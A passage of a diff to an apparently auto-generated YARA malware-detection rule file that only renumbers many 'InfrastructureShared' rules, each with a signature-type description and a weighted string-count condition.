_InfrastructureShared_1338{ +rule _InfrastructureShared_1342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14222,7 +14286,7 @@ rule _InfrastructureShared_1338{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1339{ +rule _InfrastructureShared_1343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14232,7 +14296,7 @@ rule _InfrastructureShared_1339{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1340{ +rule _InfrastructureShared_1344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14242,7 +14306,7 @@ rule _InfrastructureShared_1340{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1341{ +rule _InfrastructureShared_1345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14252,7 +14316,7 @@ rule _InfrastructureShared_1341{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1342{ +rule _InfrastructureShared_1346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14262,7 +14326,7 @@ rule _InfrastructureShared_1342{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1343{ +rule _InfrastructureShared_1347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14272,7 +14336,7 @@ rule _InfrastructureShared_1343{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1344{ +rule _InfrastructureShared_1348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14282,7 +14346,7 @@ rule _InfrastructureShared_1344{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1345{ +rule _InfrastructureShared_1349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14292,7 +14356,7 @@ rule _InfrastructureShared_1345{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1346{ +rule _InfrastructureShared_1350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14302,7 +14366,7 @@ rule _InfrastructureShared_1346{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1347{ +rule _InfrastructureShared_1351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14312,7 +14376,7 @@ rule _InfrastructureShared_1347{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1348{ +rule _InfrastructureShared_1352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14322,7 +14386,7 @@ rule _InfrastructureShared_1348{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1349{ +rule _InfrastructureShared_1353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14332,7 +14396,7 @@ rule _InfrastructureShared_1349{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1350{ +rule _InfrastructureShared_1354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14342,7 +14406,7 @@ rule _InfrastructureShared_1350{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1351{ +rule _InfrastructureShared_1355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14352,7 +14416,7 @@ rule _InfrastructureShared_1351{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1352{ +rule _InfrastructureShared_1356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14362,7 +14426,7 @@ rule _InfrastructureShared_1352{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1353{ +rule _InfrastructureShared_1357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14372,7 +14436,7 @@ rule _InfrastructureShared_1353{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1354{ +rule _InfrastructureShared_1358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14382,7 +14446,7 @@ rule _InfrastructureShared_1354{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1355{ +rule _InfrastructureShared_1359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14392,7 +14456,7 @@ rule _InfrastructureShared_1355{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1356{ +rule _InfrastructureShared_1360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14402,7 +14466,7 @@ rule _InfrastructureShared_1356{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1357{ +rule _InfrastructureShared_1361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14412,7 +14476,7 @@ rule _InfrastructureShared_1357{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1358{ +rule _InfrastructureShared_1362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14422,7 +14486,7 @@ rule _InfrastructureShared_1358{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1359{ +rule _InfrastructureShared_1363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14432,7 +14496,7 @@ rule _InfrastructureShared_1359{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1360{ +rule _InfrastructureShared_1364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14442,7 +14506,7 @@ rule _InfrastructureShared_1360{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1361{ +rule _InfrastructureShared_1365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14452,7 +14516,7 @@ rule _InfrastructureShared_1361{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1362{ +rule _InfrastructureShared_1366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14462,7 +14526,7 @@ rule _InfrastructureShared_1362{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1363{ +rule _InfrastructureShared_1367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14472,7 +14536,7 @@ rule _InfrastructureShared_1363{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1364{ +rule _InfrastructureShared_1368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14482,7 +14546,7 @@ rule _InfrastructureShared_1364{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1365{ +rule _InfrastructureShared_1369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14492,7 +14556,7 @@ rule _InfrastructureShared_1365{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1366{ +rule _InfrastructureShared_1370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14502,7 +14566,7 @@ rule _InfrastructureShared_1366{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1367{ +rule _InfrastructureShared_1371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14512,7 +14576,7 @@ rule _InfrastructureShared_1367{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1368{ +rule _InfrastructureShared_1372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14522,7 +14586,7 @@ rule _InfrastructureShared_1368{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1369{ +rule _InfrastructureShared_1373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14532,7 +14596,7 @@ rule _InfrastructureShared_1369{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_1370{ +rule _InfrastructureShared_1374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14542,7 +14606,7 @@ rule _InfrastructureShared_1370{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1371{ +rule _InfrastructureShared_1375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14552,7 +14616,7 @@ rule _InfrastructureShared_1371{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1372{ +rule _InfrastructureShared_1376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14562,7 +14626,7 @@ rule _InfrastructureShared_1372{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1373{ +rule _InfrastructureShared_1377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14572,7 +14636,7 @@ rule _InfrastructureShared_1373{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1374{ +rule _InfrastructureShared_1378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14582,7 +14646,7 @@ rule _InfrastructureShared_1374{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1375{ +rule _InfrastructureShared_1379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14592,7 +14656,7 @@ rule _InfrastructureShared_1375{ ((#a_52_0 & 1)*21320) >=1 } -rule _InfrastructureShared_1376{ +rule _InfrastructureShared_1380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14602,7 +14666,7 @@ rule _InfrastructureShared_1376{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1377{ +rule _InfrastructureShared_1381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14612,7 +14676,7 @@ rule _InfrastructureShared_1377{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1378{ +rule _InfrastructureShared_1382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14622,7 +14686,7 @@ rule _InfrastructureShared_1378{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1379{ +rule _InfrastructureShared_1383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14632,7 +14696,7 @@ rule _InfrastructureShared_1379{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1380{ +rule _InfrastructureShared_1384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14642,7 +14706,7 @@ rule _InfrastructureShared_1380{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1381{ +rule _InfrastructureShared_1385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14652,7 +14716,7 @@ rule _InfrastructureShared_1381{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1382{ +rule _InfrastructureShared_1386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14662,7 +14726,7 @@ rule _InfrastructureShared_1382{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1383{ +rule _InfrastructureShared_1387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14672,7 +14736,7 @@ rule _InfrastructureShared_1383{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1384{ +rule _InfrastructureShared_1388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14682,7 +14746,7 @@ rule _InfrastructureShared_1384{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1385{ +rule _InfrastructureShared_1389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14692,7 +14756,7 @@ rule _InfrastructureShared_1385{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1386{ +rule _InfrastructureShared_1390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14702,7 +14766,7 @@ rule _InfrastructureShared_1386{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1387{ +rule _InfrastructureShared_1391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14712,7 +14776,7 @@ rule _InfrastructureShared_1387{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1388{ +rule _InfrastructureShared_1392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14722,7 +14786,7 @@ rule _InfrastructureShared_1388{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1389{ +rule _InfrastructureShared_1393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14732,7 +14796,7 @@ rule _InfrastructureShared_1389{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1390{ +rule _InfrastructureShared_1394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14742,7 +14806,7 @@ rule _InfrastructureShared_1390{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1391{ +rule _InfrastructureShared_1395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14752,7 +14816,7 @@ rule _InfrastructureShared_1391{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1392{ +rule _InfrastructureShared_1396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14762,7 +14826,7 @@ rule _InfrastructureShared_1392{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1393{ +rule _InfrastructureShared_1397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14772,7 +14836,7 @@ rule _InfrastructureShared_1393{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1394{ +rule _InfrastructureShared_1398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14782,7 +14846,7 @@ rule _InfrastructureShared_1394{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1395{ +rule _InfrastructureShared_1399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14792,7 +14856,7 @@ rule _InfrastructureShared_1395{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1396{ +rule _InfrastructureShared_1400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14802,7 +14866,7 @@ rule _InfrastructureShared_1396{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1397{ +rule _InfrastructureShared_1401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14812,7 +14876,7 @@ rule _InfrastructureShared_1397{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1398{ +rule _InfrastructureShared_1402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14822,7 +14886,7 @@ rule _InfrastructureShared_1398{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1399{ +rule _InfrastructureShared_1403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14832,7 +14896,7 @@ rule _InfrastructureShared_1399{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1400{ +rule _InfrastructureShared_1404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14842,7 +14906,7 @@ rule _InfrastructureShared_1400{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1401{ +rule _InfrastructureShared_1405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14852,7 +14916,7 @@ rule _InfrastructureShared_1401{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1402{ +rule _InfrastructureShared_1406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14862,7 +14926,7 @@ rule _InfrastructureShared_1402{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1403{ +rule _InfrastructureShared_1407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14872,7 +14936,7 @@ rule _InfrastructureShared_1403{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1404{ +rule _InfrastructureShared_1408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14882,7 +14946,7 @@ rule _InfrastructureShared_1404{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1405{ +rule _InfrastructureShared_1409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14892,7 +14956,7 @@ rule _InfrastructureShared_1405{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_1406{ +rule _InfrastructureShared_1410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14902,7 +14966,7 @@ rule _InfrastructureShared_1406{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_1407{ +rule _InfrastructureShared_1411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14912,7 +14976,7 @@ rule _InfrastructureShared_1407{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1408{ +rule _InfrastructureShared_1412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -14924,7 +14988,7 @@ rule _InfrastructureShared_1408{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*66+(#a_13_2 & 1)*24981) >=3 } -rule _InfrastructureShared_1409{ +rule _InfrastructureShared_1413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -14934,7 +14998,7 @@ rule _InfrastructureShared_1409{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_1410{ +rule _InfrastructureShared_1414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -14944,7 +15008,7 @@ rule _InfrastructureShared_1410{ ((#a_41_0 & 1)*20515) >=5 } -rule _InfrastructureShared_1411{ +rule _InfrastructureShared_1415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -14954,7 +15018,7 @@ rule _InfrastructureShared_1411{ ((#a_46_0 & 1)*21283) >=5 } -rule _InfrastructureShared_1412{ +rule _InfrastructureShared_1416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14964,7 +15028,7 @@ rule _InfrastructureShared_1412{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1413{ +rule _InfrastructureShared_1417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14974,7 +15038,7 @@ rule _InfrastructureShared_1413{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1414{ +rule _InfrastructureShared_1418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14984,7 +15048,7 @@ rule _InfrastructureShared_1414{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1415{ +rule _InfrastructureShared_1419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -14994,7 +15058,7 @@ rule _InfrastructureShared_1415{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1416{ +rule _InfrastructureShared_1420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15004,7 +15068,7 @@ rule _InfrastructureShared_1416{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1417{ +rule _InfrastructureShared_1421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15014,7 +15078,7 @@ rule _InfrastructureShared_1417{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1418{ +rule _InfrastructureShared_1422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15024,7 +15088,7 @@ rule _InfrastructureShared_1418{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1419{ +rule _InfrastructureShared_1423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15034,7 +15098,7 @@ rule _InfrastructureShared_1419{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1420{ +rule _InfrastructureShared_1424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15044,7 +15108,7 @@ rule _InfrastructureShared_1420{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1421{ +rule _InfrastructureShared_1425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15054,7 +15118,7 @@ rule _InfrastructureShared_1421{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1422{ +rule _InfrastructureShared_1426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15064,7 +15128,7 @@ rule _InfrastructureShared_1422{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1423{ +rule _InfrastructureShared_1427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15074,7 +15138,7 @@ rule _InfrastructureShared_1423{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1424{ +rule _InfrastructureShared_1428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15084,7 +15148,7 @@ rule _InfrastructureShared_1424{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1425{ +rule _InfrastructureShared_1429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15094,7 +15158,7 @@ rule _InfrastructureShared_1425{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1426{ +rule _InfrastructureShared_1430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15104,7 +15168,7 @@ rule _InfrastructureShared_1426{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1427{ +rule _InfrastructureShared_1431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15114,7 +15178,7 @@ rule _InfrastructureShared_1427{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1428{ +rule _InfrastructureShared_1432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15124,7 +15188,7 @@ rule _InfrastructureShared_1428{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1429{ +rule _InfrastructureShared_1433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15134,7 +15198,7 @@ rule _InfrastructureShared_1429{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1430{ +rule _InfrastructureShared_1434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15144,7 +15208,7 @@ rule _InfrastructureShared_1430{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1431{ +rule _InfrastructureShared_1435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15154,7 +15218,7 @@ rule _InfrastructureShared_1431{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1432{ +rule _InfrastructureShared_1436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15164,7 +15228,7 @@ rule _InfrastructureShared_1432{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1433{ +rule _InfrastructureShared_1437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15174,7 +15238,7 @@ rule _InfrastructureShared_1433{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1434{ +rule _InfrastructureShared_1438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15184,7 +15248,7 @@ rule _InfrastructureShared_1434{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1435{ +rule _InfrastructureShared_1439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15194,7 +15258,7 @@ rule _InfrastructureShared_1435{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1436{ +rule _InfrastructureShared_1440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15204,7 +15268,7 @@ rule _InfrastructureShared_1436{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1437{ +rule _InfrastructureShared_1441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15214,7 +15278,7 @@ rule _InfrastructureShared_1437{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1438{ +rule _InfrastructureShared_1442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15224,7 +15288,7 @@ rule _InfrastructureShared_1438{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1439{ +rule _InfrastructureShared_1443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15234,7 +15298,7 @@ rule _InfrastructureShared_1439{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1440{ +rule _InfrastructureShared_1444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -15244,7 +15308,7 @@ rule _InfrastructureShared_1440{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1441{ +rule 